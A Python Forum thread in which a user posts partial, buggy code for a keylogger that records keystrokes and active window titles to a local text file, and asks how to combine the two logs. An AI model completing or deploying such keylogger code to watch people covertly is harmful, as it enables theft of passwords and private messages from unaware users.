Python Forum
getting windows title and keystrokes !!
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
getting windows title and keystrokes !!
#1
hello there .... im trying to code a simple keylogger that log the key strokes and active windows titles : this is my code :

# -*- coding: utf-8 -*-
from pynput.keyboard import Listener 
import time
from win32gui import GetWindowText, GetForegroundWindow
import datetime



moment=time.strftime("%Y-%b-%d__%H_%M_%S",time.localtime())



def writetofile(key):


    keydata = str(key)
    keydata = keydata.replace("u" , "")
    keydata = keydata.replace("'" , "")

 
   
            
        
   
    with open("Log " + moment + ".txt" , "a") as qan:
        
        d = qan.write(keydata)
       
        


        

with Listener(on_press= writetofile ) as l:
    l.join()

def get_titles():

    current_title = None
    while True:
        moment2 = datetime.datetime.now().strftime("%Y-%b-%d [ %H:%M:%S.%f ]")
        new_title = GetWindowText(GetForegroundWindow())
        if new_title != current_title:
            if len(new_title) > 0:
                
                #logging.info(" Moved to : " + new_title)
                current_title = new_title
                time.sleep(0.1)
                #print(new_title)
                ff= (moment2 + " : " +  "Moved T0 : "+ new_title)
                print ff
             

get_titles()
i dont know how to add windows titles to my .txt file with key strokes !!
i need them like this :
Output:
2018-Nov-19 [ 02:36:49.767000 ] : Moved T0 : token.py - geckodriver-v0.23.0-win64 - Visual Studio Code \n www.google.comKey.tabkey.Spaceheywwwwpython 2018-Nov-19 [ 02:38:04.626000 ] : Moved T0 : Run 555552000520
Reply


Messages In This Thread
getting windows title and keystrokes !! - by evilcode1 - Nov-19-2018, 10:58 AM

Possibly Related Threads…
Thread Author Replies Views Last Post
  Thoughts on interfacing with a QR code reader that outputs keystrokes? wrybread 1 1,561 Oct-08-2021, 03:44 PM
Last Post: bowlofred
  check if the windows title chnaged ! evilcode1 2 3,057 Nov-12-2018, 10:42 AM
Last Post: evilcode1
  Python script runs on startup but does not register keystrokes. mericanpi 3 3,527 Sep-07-2018, 02:58 PM
Last Post: mericanpi
  How to change font size of chart title and axis title ? thrupass 5 15,848 Mar-30-2018, 04:02 PM
Last Post: DrFunn1
  trying to get the keystrokes values to file rwahdan 2 4,059 Jul-14-2017, 06:53 PM
Last Post: rwahdan

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020